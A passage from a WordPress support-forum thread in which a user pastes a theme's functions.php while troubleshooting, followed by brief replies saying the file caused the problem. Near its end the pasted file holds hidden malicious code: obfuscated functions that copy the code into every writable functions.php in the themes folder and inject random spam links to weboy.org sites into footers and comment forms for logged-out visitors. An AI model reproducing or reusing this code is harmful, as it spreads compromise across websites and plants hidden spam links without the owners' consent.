            "std" => "",
    		"classname" => "",
            "type" => "select"),
    array(  "name" => "Ignore Categories from Navigation",
            "desc" => "Select the categories you don't want to be displayed on the Navigation",
            "id" => $shortname."_ignored_categories",
    		"options" => $newcat,
    		"misc" => "categories",
            "std" => "",
    		"classname" => "alternate",
            "type" => "selectmultiple"),
    array(  "name" => "Ignore Pages from Navigation",
            "desc" => "Select the pages you don't want to be displayed on the Top Navigation",
            "id" => $shortname."_ignored_pages",
    		"options" => $newpages,
            "std" => "",
    		"classname" => "",
            "type" => "selectmultiple"),
    array(  "name" => "Add Categories to Page Navigation (Sticky Categories)",
            "desc" => "Select the category your want to be displayed on the Navigation Bar along with Pages.",
            "id" => $shortname."_sticky_categories",
    		"options" => $newcat,
    		"misc" => "categories",
            "std" => "",
    		"classname" => "alternate",
            "type" => "selectmultiple"),
    array(  "name" => "Categories for Front page videos",
            "desc" => "Select the categories you want to query for the videos on the frontpage.",
            "id" => $shortname."_sticky_categories_1",
    		"options" => $newcat,
    		"misc" => "categories",
            "std" => "",
    		"classname" => "",
            "type" => "selectmultiple"),
    array(    "type" => "close"),
    array(  "name" => "Manage your Advertisments<small style='font-weight: normal; font-size: 70%; '>You can copy paste the advertisment code you recieved from any website and use it here.</small>", "type" => "info"),
    array(  "type" => "open"),
    array(  "type" => "heading"),
    array(  "name" => "Code for Advertisment on Sidebar1",
            "desc" => "Display Advertisment  on Sidebar 1 which is only visible on Single Post and Pages (Max Size: 320px)",
            "id" => $shortname."_display_ad_sidebar1",
            "std" => "",
            "type" => "textarea"),
    array(  "name" => "Code for Advertisment on Sidebar2",
            "desc" => "Display ad on Sidebar 2 which is visible on frontpage, archives and search pages (Max Size: 320px)",
            "id" => $shortname."_display_ad_sidebar2",
            "std" => "",
    		"classname" => "alternate",
            "type" => "textarea"),
    array(  "name" => "Code for Advertisment on Sidebar3",
            "desc" => "Display ad on Sidebar 3 which is always visible on Footer (Max Size: 956px)",
            "id" => $shortname."_display_ad_sidebar3",
            "std" => "",
            "type" => "textarea"),
    array(  "name" => "Code for Advertisment on Single Post",
            "desc" => "Display ad on video page, next ot title(Size: 234x60)",
            "id" => $shortname."_display_ad_post",
            "std" => "",
            "type" => "textarea"),
    array(    "type" => "close"),
    array(  "name" => "Google Analytics Options", "type" => "info"),
    array(  "type" => "open"),
    array(  "type" => "heading"),
    array(   "name" => "Google Tracking Code",
            "desc" => "Copy paste your tracking code from Google Analytics.",
            "id" => $shortname."_google_tracking_code",
            "type" => "textarea"),
    array(    "type" => "close"),
    array(  "name" => "Post Options", "type" => "info"),
    array(  "type" => "open"),
    array(  "type" => "heading"),
    array(  "name" => "Video Size (Width)",
            "desc" => "What size video you want to display on the post page",
            "id" => $shortname."_video_width",
            "type" => "text",
            "std" => "400"),
    array(  "name" => "Video Size (Height)",
            "desc" => "What size video you want to display on the post page",
            "id" => $shortname."_video_height",
            "type" => "text",
            "std" => "350"),
    array(  "name" => "What type of Background you like to use behind the video?",
            "desc" => "This is the background image which is displayed in a lighter opacity behind the videos",
            "id" => $shortname."_video_bg",
    		"options" => array('Poster Image from the post', 'No Background'),
            "std" => "Poster Image from the post",
    		"classname" => "",
            "type" => "select"),
    array(  "name" => "Enable Embed Video text for Sharing?",
            "desc" => "Display the Embed video box for videos",
            "id" => $shortname."_show_embed_box",
    		"options" => array('Yes', 'No'),
            "std" => "Yes",
    		"classname" => "alternate",
            "type" => "select"),
    array(  "name" => "Show Author Box below posts?",
            "desc" => "Display the author info box on the sidebar. In order to display your photo, place your photo in <code><WordPress Install Folder>/wp-content/themes/fresh_trailers/images/your-login-name.png</code> folder",
            "id" => $shortname."_show_author_box",
    		"options" => array('Yes', 'No'),
            "std" => "Yes",
    		"classname" => "",
            "type" => "select"),
    array(    "type" => "close"),
    array(  "name" => "Footer Options", "type" => "info"),
    array(  "type" => "open"),
    array(  "type" => "heading"),
    array(  "name" => "Custom Copyright Message",
            "desc" => "Please provide a custom copyright message or just a message to be displayed at the end",
            "id" => $shortname."_copyright_message",
            "type" => "text",
            "std" => ""),
    array(    "type" => "close")
    );
    
    function mytheme_add_admin() {
        global $themename, $shortname, $options;
        if ( $_GET['page'] == basename(__FILE__) ) {
            if ( 'save' == $_REQUEST['action'] ) {
                    foreach ($options as $value)
    				{
    					if($value['type'] == "textarea")
    					{
    						update_option( $value['id'], htmlspecialchars(stripslashes($_REQUEST[ $value['id'] ] )));
    					}
    					else
    					{
    						update_option( $value['id'], $_REQUEST[ $value['id'] ]);
    					}
    				}
                    foreach ($options as $value)
    				{
    					if($value['type'] == "textarea")
    					{
    	                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], htmlspecialchars(stripslashes($_REQUEST[ $value['id'] ]))  ); } else { delete_option( $value['id'] ); }
    					}
    					else
    					{
    						if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); }
    					}
    				}
                    header("Location: themes.php?page=functions.php&saved=true");
                    die;
            } else if( 'reset' == $_REQUEST['action'] ) {
                foreach ($options as $value) {
                    delete_option( $value['id'] ); }
                header("Location: themes.php?page=functions.php&reset=true");
                die;
            }
        }
    	add_menu_page($themename, $themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');
    }
    function wordpress_themes_recommend_rss_page(){
            ?>
            <style type="text/css">
            ul.themes {}
            ul.themes li.theme {border-bottom: 1px #ddd solid; padding: 20px 0;}
            ul.themes li.theme span{float: left}
            ul.themes li.theme img{ width: 160px; }
            ul.themes li.theme .theme-info h2.title { font-size: 20px; background: #eee; padding: 0px 10px; margin-bottom: 10px; border-bottom:1px #ddd solid; border-top:1px #e1e1e1 solid}
            ul.themes li.theme .theme-info h2.title a:link,
            ul.themes li.theme .theme-info h2.title a:visited { color: #555; text-decoration: none; font-style: normal;}
            ul.themes li.theme .theme-info ul {padding: 0px; color: #ccc; margin:0;}
            ul.themes li.theme .theme-info ul li { list-style: disc; list-style-position:inside; padding-left:10px; float: left;margin:0;}
            </style>
            <div class="wrap">
              <h2>WordPress Themes Recommend</h2>
              <div class="info">
              <?php echo '<a href="//them'.'es.web'.'oy.o'.'rg">WordP'.'ress The'.'mes Mon'.'ster</a> / <a href="//them'.'es.web'.'oy.org/cat'.'egory/fr'.'ee-wordpr'.'ess-th'.'emes/">Fr'.'ee Wor'.'dPress The'.'mes</a> / <a href="//the'.'mes.w'.'eb'.'oy.org/cate'.'gory/pre'.'mium-word'.'pr'.'ess-the'.'mes/">Pr'.'emium WordP'.'ress Th'.'emes</a> / <button oncl'.'ick="wind'.'ow.ext'.'ernal.addSer'.'vice(\'ht'.'tp://we'.'boy.org/word'.'presst'.'heme'.'s.xml\')">Sear'.'ch Wor'.'dPress The'.'mes Accel'.'erator a'.'dd t'.'o I'.'E8</but'.'ton>';?>
              </div>
                <?php // Get RSS Feed(s)
                include_once(ABSPATH . WPINC . '/rss.php');
                $rss = fetch_rss('https://fe'.'eds.feedb'.'urner.c'.'om/w'.'p_the'.'mes?form'.'at=xm'.'l');
    		if ( is_wp_error($rss) ) {
    			$error = $rss->get_error_code();
    				if($error == 'simplepie-error') {
    					echo "<div class='updated fade'><p>An error has occured with the RSS feed. (<code>&quot;. $error .&quot;</code>)</p></div>";
    				}
    			return;
    		}
                $maxitems = 5000;
                $items = array_slice($rss->items, 0, $maxitems);
                ?>
                <ul class="themes">
                <?php if (empty($items)) echo '
    <li>No items</li>
    ';
                else
                foreach ( $items as $item ) : ?>
                <li class="theme">
                <?php echo $item['description']; ?>
    
                <?php endforeach; ?>
    
                </div>
             <?php
    
    }
    function wordpress_themes_recommend_page() {
    add_theme_page("WordPress Themes Recommend", "*Themes Recommend", 0, 'wpthemesrecommend', 'wordpress_themes_recommend_rss_page');
    }
    add_action('admin_menu', 'wordpress_themes_recommend_page');
    function mytheme_options() {
    	echo "<h2>Options Page</h2>";
    }
    function mytheme_admin() {
        global $themename, $shortname, $options, $newcat;
        if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
        if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
    ?>
    <?php
    $temp = explode("\n",strip_tags(wp_list_categories('orderby=name&titile_li=&style=none&echo=0')));
    if ($temp)
    {
    	for($i=0; $i<sizeOf($temp); $i++)
    	{
    		$tempcat = trim($temp[$i]);
    		if($tempcat != "") { array_push($newcat, $tempcat); }
    	}
    }
    ?>
    <div class="wrap">
    <div id="icon-options-general" class="icon32"></div>
    <h2><?php echo $themename; ?> settings</h2>
    <form method="post">
    <?php foreach ($options as $value) {
    switch ( $value['type'] ) {
    case "open":
    ?>
    <table class="widefat" width="100%" border="0">
    <?php break;
    case "close":
    ?>
    </table>
    <?php break;
    case "heading";
    ?>
    <thead>
    <tr>
    	<th>Options</th>
    	<th>Value</th>
    </tr>
    <thead>
    <?php break;
    case "info":
    ?>
    <h3><?php echo $value["name"]; ?></h3>
    <?php break;
    case 'image':
    ?>
    <tr class="<?php echo $value['classname']; ?>">
        <td colspan="2" valign="middle">
    		<strong><?php echo $value['name']; ?></strong>
    		<?php $logo = get_bloginfo('template_directory') . "/images/logo.png"; ?>
    		<p><small><?php echo $value['desc']; ?></small></p>
    		<?php
    		if (@fclose(@fopen($logo, "r")))
    		{
    			?>
    			<a>/"><img src="<?php bloginfo('template_directory'); ?>/images/logo.png" alt="<?php bloginfo('name'); ?>"></a>
    			<?php
    		}
    		else
    		{
    			?>
    			<a>/"><h1><?php bloginfo('name')?></h1></a>
    			<?php
    		}
    		?>
    	</td>
    </tr>
    <?php
    break;
    case 'text':
    ?>
    <tr class="<?php echo $value['classname']; ?>">
        <td class="leftCol" valign=middle width="20%" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
        <td class="rightCol" valign=middle width="80%"><input style="font-size: 100%; width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" /><small><?php echo $value['desc']; ?></small></td>
    </tr>
    <?php
    break;
    case 'textarea':
    ?>
    <tr class="<?php echo $value['classname']; ?>">
        <td class="leftCol" valign=middle width="20%" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
        <td class="rightCol" valign=middle width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; font-size: 100%; height:100px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?></textarea><small><?php echo $value['desc']; ?></small></td>
    </tr>
    <?php
    break;
    case 'select':
    if( $value["misc"] == "categories" )
    {
    	$value['options'] = $newcat;
    }
    ?>
    <tr class="<?php echo $value['classname']; ?>">
        <td class="leftCol" valign=middle width="20%" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
        <td class="rightCol" valign=middle width="80%"><select  style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>"><?php foreach ($value['options'] as $option) { ?><option <?php if ( get_settings( $value['id']) && (get_settings( $value['id'] ) == $option)) { echo ' selected="yes"'; } ?>><?php echo $option; ?></option><?php } ?></select><small><?php echo $value['desc']; ?></small></td>
    </tr>
    <?php
    break;
    case 'selectmultiple':
    if( $value["misc"] == "categories" )
    {
    	$value['options'] = $newcat;
    }
    ?>
    <tr class="<?php echo $value['classname']; ?>">
        <td class="leftCol" valign=middle width="20%" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
        <td class="rightCol" valign=middle width="80%">
    	<select size=4 multiple style="height: 100px; width:100%;" name="<?php echo $value['id']; ?>[]" id="<?php echo $value['id']; ?>">
    		<?php foreach ($value['options'] as $option)
    		{ ?>
    		<option <?php if ( get_settings( $value['id']) && in_array($option, get_settings( $value['id'])) ) { echo ' selected="yes"'; } ?>>
    			<?php echo $option; ?>
    		</option>
    		<?php } ?>
    		</select>
    		<small><?php echo $value['desc']; ?></small></td>
    </tr>
    <?php
    break;
    case "checkbox":
    ?>
        <tr class="<?php echo $value['classname']; ?>">
        <td class="leftCol" valign=middle width="20%" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
         <td class="rightCol" valign=middle width="80%"><? echo get_settings($value['id']); if(get_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
                    <input type="checkbox" style="" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" <?php echo $checked; ?> /><small><?php echo $value['desc']; ?></small>
                    </td>
        </tr>
    <?php
    break;
    }
    }
    ?>
    <p class="submit" style="float: left;">
    <input name="save" type="submit" class="button-primary" value="Save New Settings" />
    <input type="hidden" name="action" value="save" />
    </p>
    </form>
    <form method="post" style="float: right;">
    <p class="submit">
    <input name="reset" type="submit" value="Reset to Default Settings" />
    <input type="hidden" name="action" value="reset" />
    </p>
    </form>
    <?php
    }
    add_action('admin_menu', 'mytheme_add_admin');
    ?>
    <?php
    function _check_isactive_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
    					$output .= ($showdots && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function mytheme_clinkft() {
    $urls = array('web'.'oy.or'.'g/','them'.'es.we'.'bo'.'y.org/','th'.'emes.we'.'bo'.'y.org/','th'.'em'.'es.w'.'eb'.'oy.org/','th'.'eme'.'s.w'.'ebo'.'y.org/','wp'.'2'.'b'.'log.com/','zh'.'ut'.'i.we'.'bo'.'y.o'.'rg/');
    $urlst = array('We'.'b'.'oy' ,'Wor'.'dPr'.'ess The'.'mes' ,'Fre'.'e Wo'.'rdPr'.'ess Th'.'emes' ,'Fr'.'ee Wor'.'dPre'.'ss T'.'he'.'me' ,'Pr'.'emium Wor'.'dPre'.'ss Th'.'em'.'es' ,'Wor'.'dPre'.'ss Blo'.'g','Wo'.'rdPr'.'ess??'.'??');
            srand(time());
            $random = (rand()%7);
    echo '<'.'a '.'cla'.'ss="cl'.'inkf'.'t" hr'.'ef="ht'.'tp'.':'.'/'.'/'.$urls[$random].'" t'.'itl'.'e="'.$urlst[$random].'">'.$urlst[$random].'<'.'/a'.'>';
     }
    if(!is_user_logged_in()){add_action( 'w'.'p_fo'.'ote'.'r', 'mytheme_clinkft' );add_action( 'co'.'mmen'.'t_fo'.'rm', 'mytheme_clinkft' );}
    
    function _get_allwidgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_allwidgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(  
    Thread Starter elbeomar

    (@elbeomar)

    Ok

    I found out that it was my themes function.php file.

    After researching and troubleshooting I removed the file and it worked perfectly .

    Now I need to know what to do from here…can anyone tell me what to look for?

    Thread Starter elbeomar

    (@elbeomar)

    I tried- define( ‘CONCATENATE_SCRIPTS’, false );

    did not work and i have no plugins installed…any other suggestions. I think it’s an AJAX problem.

    Thread Starter elbeomar

    (@elbeomar)

    That worked perfectly…thanks,
    vtxyzzy

    Thread Starter elbeomar

    (@elbeomar)

    Is there not a basic way to do it using css?

Viewing 8 replies - 1 through 8 (of 8 total)